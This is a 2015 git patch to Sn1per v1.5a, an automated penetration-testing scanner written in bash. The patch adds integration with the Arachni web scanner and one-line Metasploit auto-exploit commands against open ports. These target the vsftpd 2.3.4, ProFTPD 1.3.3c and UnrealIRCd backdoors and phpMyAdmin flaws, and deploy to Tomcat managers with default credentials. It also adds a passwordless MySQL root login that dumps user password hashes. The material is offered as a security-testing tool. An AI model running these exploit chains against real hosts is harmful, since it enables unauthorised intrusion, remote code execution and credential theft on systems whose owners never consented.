From 8adbed172d327f46287e2e57f5fa9c3154511817 Mon Sep 17 00:00:00 2001 From: root Date: Wed, 30 Dec 2015 06:29:52 -0500 Subject: [PATCH] Sn1per v1.5a by 1N3@CrowdShield --- README.md | 5 ++++- install.sh | 2 +- loot/README.md | 9 +++++++-- sniper | 19 +++++++++++++++---- 4 files changed, 27 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index 0dfa585..e63ff0f 100644 --- a/README.md +++ b/README.md @@ -30,6 +30,9 @@ https://gist.github.com/1N3/8214ec2da2c91691bcbc ``` ## CHANGELOG: +* v1.5a - Fixed syntax error with port 8081 checks +* v1.5a - Added Arachni integration +* v1.5a - Added vsftpd, proftpd, mysql, unrealircd auto exploits * v1.5 - Added Metasploit scan and auto-exploit modules * v1.5 - Added additional port checks * v1.5 - Added full TCP/UDP NMap XML output @@ -53,7 +56,7 @@ https://gist.github.com/1N3/8214ec2da2c91691bcbc * v1.4 - Removed debug output from goohak from displaying on console ## FUTURE: -* Add in detection and auto exploitation for Apache Tomcat, PHPMyAdmin, Webmin, MS08-067, Open Proxy, etc. +* Add in detection and auto exploitation for Tomcat, JBoss, PHPMyAdmin * Add in Juniper backdoor password to password list * Add auth bypass string to password list * Add in OpenVAS integration diff --git a/install.sh b/install.sh index 73d4ddc..0f36562 100644 --- a/install.sh +++ b/install.sh @@ -25,7 +25,7 @@ echo -e "$OKGREEN + -- --=[This script will install or upgrade your Sn1per insta read answer echo -e "$OKORANGE + -- --=[Installing package dependencies...$RESET" -apt-get install host whois theharvester dnsenum dnsrecon curl nmap php5 php5-curl wapiti hydra iceweasel wpscan sqlmap arachni w3af golismero nbtscan enum4linux cisco-torch metasploit-framework theharvester dnsenum nikto smtp-user-enum whatweb python nbtscan sslscan amap +apt-get install host whois arachni theharvester dnsenum dnsrecon curl nmap php5 php5-curl wapiti hydra iceweasel wpscan sqlmap arachni w3af golismero nbtscan enum4linux cisco-torch metasploit-framework theharvester dnsenum nikto smtp-user-enum whatweb python nbtscan sslscan amap echo -e "$OKORANGE + -- --=[Installing gem dependencies...$RESET" gem install rake diff --git a/loot/README.md b/loot/README.md index 422ea72..e63ff0f 100644 --- a/loot/README.md +++ b/loot/README.md @@ -25,9 +25,14 @@ Sn1per is an automated scanner that can be used during a penetration test to enu ``` ## SAMPLE REPORT: -https://goo.gl/96LCAg +``` +https://gist.github.com/1N3/8214ec2da2c91691bcbc +``` ## CHANGELOG: +* v1.5a - Fixed syntax error with port 8081 checks +* v1.5a - Added Arachni integration +* v1.5a - Added vsftpd, proftpd, mysql, unrealircd auto exploits * v1.5 - Added Metasploit scan and auto-exploit modules * v1.5 - Added additional port checks * v1.5 - Added full TCP/UDP NMap XML output @@ -51,7 +56,7 @@ https://goo.gl/96LCAg * v1.4 - Removed debug output from goohak from displaying on console ## FUTURE: -* Add in detection and auto exploitation for Apache Tomcat, PHPMyAdmin, Webmin, MS08-067, Open Proxy, etc. +* Add in detection and auto exploitation for Tomcat, JBoss, PHPMyAdmin * Add in Juniper backdoor password to password list * Add auth bypass string to password list * Add in OpenVAS integration diff --git a/sniper b/sniper index 0a77ca6..b4c092a 100644 --- a/sniper +++ b/sniper @@ -141,7 +141,7 @@ then else echo -e "$OKGREEN+ -- --=[Port 21 opened... running tests...$RESET" nmap -sV -sC -p 21 --script=ftp-* $TARGET - + msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; setg RHOST "$TARGET"; run; use unix/ftp/proftpd_133c_backdoor; run; exit;" fi if [ -z "$port_22" ] @@ -210,7 +210,7 @@ else fi - nmap -sV -p 80 --script=http-enum,http-feed,http-open-proxy,http-headers,http-cors,http-server-header,http-php-version,http-form-brute,http-iis-short-name-brute,http-waf-fingerprint,http-auth,http-trace,http-iis-webdav-vuln,http-useragent-tester,http-vuln-cve2011-3368,http-userdir-enum,http-passwd,http-csrf,http-wordpress-enum,http-frontpage-login,http-dombased-xss,http-phpself-xss,http-sql-injection,http-drupal-enum-users,http-referer-checker,http-vuln-cve2009-3960,http-methods,http-open-redirect,http-vuln-cve2011-3192,http-stored-xss,http-vuln-cve2013-0156,http-put,http-proxy-brute,http-rfi-spider,http-method-tamper $TARGET + nmap -sV -p 80 --script=http-enum,http-feed,http-open-proxy,http-headers,http-cors,http-server-header,http-php-version,http-form-brute,http-iis-short-name-brute,http-waf-fingerprint,http-auth,http-trace,http-iis-webdav-vuln,http-useragent-tester,http-vuln-cve2011-3368,http-userdir-enum,http-passwd,http-csrf,http-wordpress-enum,http-frontpage-login,http-dombased-xss,http-phpself-xss,http-sql-injection,http-drupal-enum-users,http-referer-checker,http-vuln-cve2009-3960,http-methods,http-open-redirect,http-vuln-cve2011-3192,http-stored-xss,http-vuln-cve2013-0156,http-put,http-proxy-brute,http-rfi-spider,http-method-tamper,http-phpmyadmin-dir-traversal $TARGET echo -e "$OKBLUE+ -- --=[Checking if X-Content options are enabled on $TARGET...$RESET $OKORANGE" curl -s --insecure -I http://$TARGET | egrep -i 'X-Content' | tail -n 10 echo "" @@ -266,6 +266,8 @@ else wpscan --url http://$TARGET --batch python $CMSMAP -t http://$TARGET sqlmap -u "http://$TARGET" --batch --crawl=5 -f + arachni http://$TARGET --output-only-positives --scope-include-subdomains + msfconsole -x "use exploit/multi/http/phpmyadmin_3522_backdoor; setg RHOSTS "$TARGET"; set RHOST "$TARGET"; run; use exploit/unix/webapp/phpmyadmin_config; run; use multi/http/phpmyadmin_preg_replace; run; exit;" fi if [ -z "$port_110" ] @@ -402,6 +404,7 @@ else wpscan --url https://$TARGET --batch python $CMSMAP -t https://$TARGET sqlmap -u "https://$TARGET" --batch --crawl=5 -f + arachni https://$TARGET --output-only-positives --scope-include-subdomains fi if [ -z "$port_445" ] @@ -465,6 +468,7 @@ then else echo -e "$OKGREEN+ -- --=[Port 2121 opened... running tests...$RESET" nmap -sV --script=ftp* -p 2121 $TARGET + msfconsole -x "setg PORT 2121; use exploit/unix/ftp/vsftpd_234_backdoor; setg RHOST "$TARGET"; run; use unix/ftp/proftpd_133c_backdoor; run; exit;" fi if [ -z "$port_3306" ] @@ -473,6 +477,7 @@ then else echo -e "$OKGREEN+ -- --=[Port 3306 opened... running tests...$RESET" nmap -sV --script=mysql* -p 3306 $TARGET + mysql -u root -h $TARGET -e 'SHOW DATABASES; SELECT Host,User,Password FROM mysql.user;' fi if [ -z "$port_3389" ] @@ -530,6 +535,7 @@ then else echo -e "$OKGREEN+ -- --=[Port 6667 opened... running tests...$RESET" nmap -sV --script=irc* -p 6667 $TARGET + msfconsole -x "use unix/irc/unreal_ircd_3281_backdoor; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; run; exit;" fi if [ -z "$port_8000" ] @@ -547,6 +553,7 @@ else ./massbleed $TARGET port 8000 cd .. nikto -h http://$TARGET:8000 + arachni http://$TARGET:8000 --output-only-positives --scope-include-subdomains fi if [ -z "$port_8100" ] @@ -564,6 +571,7 @@ else ./massbleed $TARGET port 8100 cd .. nikto -h http://$TARGET:8100 + arachni http://$TARGET:8100 --output-only-positives --scope-include-subdomains fi if [ -z "$port_8080" ] @@ -582,7 +590,7 @@ else cd .. nikto -h http://$TARGET:8080 nmap -p 8080 --script=*proxy* $TARGET - msfconsole -x "use admin/http/tomcat_administration; setg RHOST "$TARGET"; setg RPORT 8080; setg RHOSTS "$TARGET"; run; use admin/http/tomcat_utf8_traversal; run; use scanner/http/tomcat_enum; run; use scanner/http/tomcat_mgr_login; run; use multi/http/tomcat_mgr_deploy; run; use multi/http/tomcat_mgr_upload; run; exit;" + msfconsole -x "use admin/http/tomcat_administration; setg RHOST "$TARGET"; setg RPORT 8080; setg RHOSTS "$TARGET"; run; use admin/http/tomcat_utf8_traversal; run; use scanner/http/tomcat_enum; run; use scanner/http/tomcat_mgr_login; run; use multi/http/tomcat_mgr_deploy; run; use multi/http/tomcat_mgr_upload; set USERNAME tomcat; set PASSWORD tomcat; run; exit;" fi if [ -z "$port_8180" ] @@ -601,6 +609,8 @@ else cd .. nikto -h http://$TARGET:8180 nmap -p 8180 --script=*proxy* $TARGET + arachni http://$TARGET:8180 --output-only-positives --scope-include-subdomains + msfconsole -x "use admin/http/tomcat_administration; setg RHOST "$TARGET"; setg RPORT 8180; setg RHOSTS "$TARGET"; run; use admin/http/tomcat_utf8_traversal; run; use scanner/http/tomcat_enum; run; use scanner/http/tomcat_mgr_login; run; use multi/http/tomcat_mgr_deploy; run; use multi/http/tomcat_mgr_upload; set USERNAME tomcat; set PASSWORD tomcat; run; exit;" fi if [ -z "$port_8443" ] @@ -617,8 +627,9 @@ else cd MassBleed ./massbleed $TARGET port 8443 cd .. - nikto -h http://$TARGET:8443 + nikto -h https://$TARGET:8443 nmap -p 8443 --script=*proxy* $TARGET + arachni https://$TARGET:8443 --output-only-positives --scope-include-subdomains fi if [ -z "$port_10000" ]